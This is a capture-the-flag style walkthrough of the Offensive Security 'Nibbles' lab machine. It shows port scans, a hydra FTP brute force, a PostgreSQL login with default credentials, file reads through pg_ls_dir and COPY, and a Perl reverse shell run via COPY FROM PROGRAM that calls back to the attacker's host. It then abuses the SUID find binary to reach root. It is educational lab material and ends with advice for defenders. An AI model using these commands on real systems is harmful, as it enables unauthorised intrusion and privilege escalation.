Offensive Security – Proving Grounds – Nibbles Write-up – No Metasploit

Nibbles from Offensive Security is a great example of getting root on a box by just “Living off The Land”. This boot to root includes no exploitation scripts and shows the importance of hardening systems before deploying to production. Now, on to the hacking.

Reconnaissance

We start off with a basic nmap scan.

kali@kali:~/oscp/offsec/nibbles$ nmap -Pn -sV -sC -oA simple 192.168.192.47
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-14 21:26 EST
Nmap scan report for 192.168.192.47
Host is up (0.069s latency).
Not shown: 995 filtered ports
PORT    STATE  SERVICE      VERSION
21/tcp  open   ftp          vsftpd 3.0.3
22/tcp  open   ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
|   256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
|_  256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
80/tcp  open   http         Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Enter a title, displayed at the top of the window.
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.15 seconds

First, lets check out what is being hosted on port 80.

Simple web app with practically no interesting functionality other than the possible privilege escalation with Apache 2.4.38. We can take note of this and come back later.

Next, lets look at FTP. A few default logins didn’t work so I quickly set up a simple brute force using hydra.

kali@kali:~/oscp/offsec/nibbles$ cat /usr/share/wordlists/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
anonymous:anonymous
root:rootpasswd
root:12hrs37
ftp:b1uRR3
admin:admin
localadmin:localadmin
admin:1234
apc:apc
admin:nas
Root:wago 
---------------------SNIP--------------------------

I split the usernames and passwords into separate .txt files using awk. (I realized after the fact that this was unnecessary with a feature within hydra)

kali@kali:~/oscp/offsec/nibbles$ hydra -l usernames.txt -p passwords.txt 192.168.192.47 ftp
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-01-14 22:00:30
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.192.47:21/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-01-14 22:00:34

Nothing. Lets enumerate further using all tcp ports in the nmap scan.

kali@kali:~/oscp/offsec/nibbles$ nmap -Pn -sV -sC -oA full -p- 192.168.192.47
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-14 21:39 EST
Nmap scan report for 192.168.192.47
Host is up (0.068s latency).
Not shown: 65529 filtered ports
PORT     STATE  SERVICE      VERSION
21/tcp   open   ftp          vsftpd 3.0.3
22/tcp   open   ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
|   256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
|_  256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
80/tcp   open   http         Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Enter a title, displayed at the top of the window.
139/tcp  closed netbios-ssn
445/tcp  closed microsoft-ds
5437/tcp open   postgresql   PostgreSQL DB 11.3 - 11.7
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-04-27T15:41:47
|_Not valid after:  2030-04-25T15:41:47
|_ssl-date: TLS randomness does not represent time
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 174.49 seconds

Alright we have a new port to play with. As always I attempt to connect using default credentials. Lets try this with the postgresql DB on port 5437.

kali@kali:~/oscp/offsec/nibbles$ psql -U postgres -p 5437 -h 192.168.192.47
Password for user postgres: 
psql (12.4 (Debian 12.4-3), server 11.7 (Debian 11.7-0+deb10u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=#

BINGO! That’s a start. Now lets try and enumerate the file system using pg_ls_dir.

postgres=# select pg_ls_dir('./');
      pg_ls_dir       
----------------------
 pg_stat
 pg_serial
 pg_replslot
 pg_xact
 global
 postgresql.auto.conf
 PG_VERSION
 pg_commit_ts
 postmaster.pid
 pg_tblspc
 pg_stat_tmp
 postmaster.opts
 pg_wal
 pg_multixact
 base
 pg_dynshmem
 pg_notify
 pg_logical
 pg_subtrans
 pg_twophase
 pg_snapshots
(21 rows)

This opens up our enumeration scope. Lets check out the users on the system.

postgres=# select pg_ls_dir('/etc/passwd');
-------------------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
 systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
 systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
 systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
 messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
 sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
 wilson:x:1000:1000:wilson,,,:/home/wilson:/bin/bash
 systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
 postgres:x:106:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
 Debian-snmp:x:107:114::/var/lib/snmp:/bin/false
 ftp:x:108:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

Lets see if we can get into Wilson’s home directory.

postgres=# select pg_ls_dir('/home/wilson');
   pg_ls_dir   
---------------
 .bash_logout
 .gnupg
 .bash_history
 .profile
 local.txt
 .bashrc
 ftp
(7 rows)

Indeed. We see the local.txt.

postgres=# COPY temp FROM '/home/wilson/local.txt';
COPY 1
postgres=# SELECT * FROM temp;
---SNIP----
 wilson:x:1000:1000:wilson,,,:/home/wilson:/bin/bash
 systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
 postgres:x:106:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
 Debian-snmp:x:107:114::/var/lib/snmp:/bin/false
 ftp:x:108:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
 67ba59137bef6bca820428cf3146f6cd

Now that we have the user flag, lets get us a reverse shell to make navigating the filesystem a bit easier.

Foothold

Going back to Google, I found a possible method for RCE here. The method includes creating a table, copying code to the table (perl reverse shell), then selecting the table to execute the code.

postgres=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$ke
y}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.49.192:80");STDIN->fdopen($c,r);$~->fdop
en($c,w);while(<>){if($_=~ /(.*)/){system $1;}};''';
COPY 0
postgres=# SELECT * FROM cmd_exec;
 cmd_output 
------------
(0 rows)

This took many attempts before realizing the only port I could get a reverse shell on was 80. So some firewall rules must be in place to prevent most outgoing traffic.

Start up a netcat listener on port 80.

kali@kali:~$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.49.192] from (UNKNOWN) [192.168.192.47] 55162

Connection successful. Upgrade the shell for usability using python.

python -c 'import pty; pty.spawn("/bin/bash")'
postgres@nibbles:/var/lib/postgresql/11/main$

Privilege Escalation

Now we have a low privilege shell as postgres. First lets start up a web server to pull down an enumeration script called LinEnum.sh. For this I will be using http.server and opening port 80 on my attacking machine.

kali@kali:~/tools/linuxenum$ sudo python3 -m http.server 80
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

On the victim machine we can now wget the LinEnum script while in a location with write permissions.

postgres@nibbles:/tmp$ wget http://192.168.49.192/LinEnum.sh
wget http://192.168.49.192/LinEnum.sh
--2021-01-13 20:54:24--  http://192.168.49.192/LinEnum.sh
Connecting to 192.168.49.192:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh          100%[===================>]  45.54K  --.-KB/s    in 0.1s    

2021-01-13 20:54:24 (321 KB/s) - 'LinEnum.sh' saved [46631/46631]

Add execute permissions to the script.

postgres@nibbles:/tmp$ chmod +x LinEnum.sh
chmod +x LinEnum.sh

Execute LinEnum.sh

[-] SUID files:
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51184 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 54096 Jul 27  2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 63736 Jul 27  2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 84016 Jul 27  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44528 Jul 27  2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 34896 Jan  7  2019 /usr/bin/fusermount
-rwsr-xr-x 1 root root 44440 Jul 27  2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 63568 Jan 10  2019 /usr/bin/su
-rwsr-xr-x 1 root root 51280 Jan 10  2019 /usr/bin/mount
-rwsr-xr-x 1 root root 315904 Feb 16  2019 /usr/bin/find
-rwsr-xr-x 1 root root 157192 Feb  2  2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 34888 Jan 10  2019 /usr/bin/umount


[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 315904 Feb 16  2019 /usr/bin/find

Looking through the output we see a possibly interesting SUID file – /usr/bin/find. With the ability to run find as a different user we can use this to execute commands as root.

First we create a working file named “trenchesofit”. Then we find trenchesofit and execute the desired command.

postgres@nibbles:/tmp$ touch trenchesofit
postgres@nibbles:/tmp$ find trenchesofit -exec "whoami" \;
find trenchesofit -exec "whoami" \;                                                                                   
root

Here we see the command executed as root so we should be able to grab the root flag by just using cat.

postgres@nibbles:/tmp$ find trenchesofit -exec cat /root/proof.txt \;                                                
find trenchesofit -exec cat /root/proof.txt \;                                                                     
91aa7b2cee9c2d2476f9f3e3840c44d7

There we are, the root flag.

Conclusion

In conclusion, Nibbles from Offensive Security was a great learning experience for how postgresql access can lead from local file access to remote code execution. Again, no additional tools were needed to get root. We did however use one enumeration script that was wasn’t required, but did speed up the process.

From a defenders standpoint, detection of this movement would require proper database auditing and outbound network restrictions or anomaly detection.

Harden those systems, and until next time, stay safe in the Trenches of IT!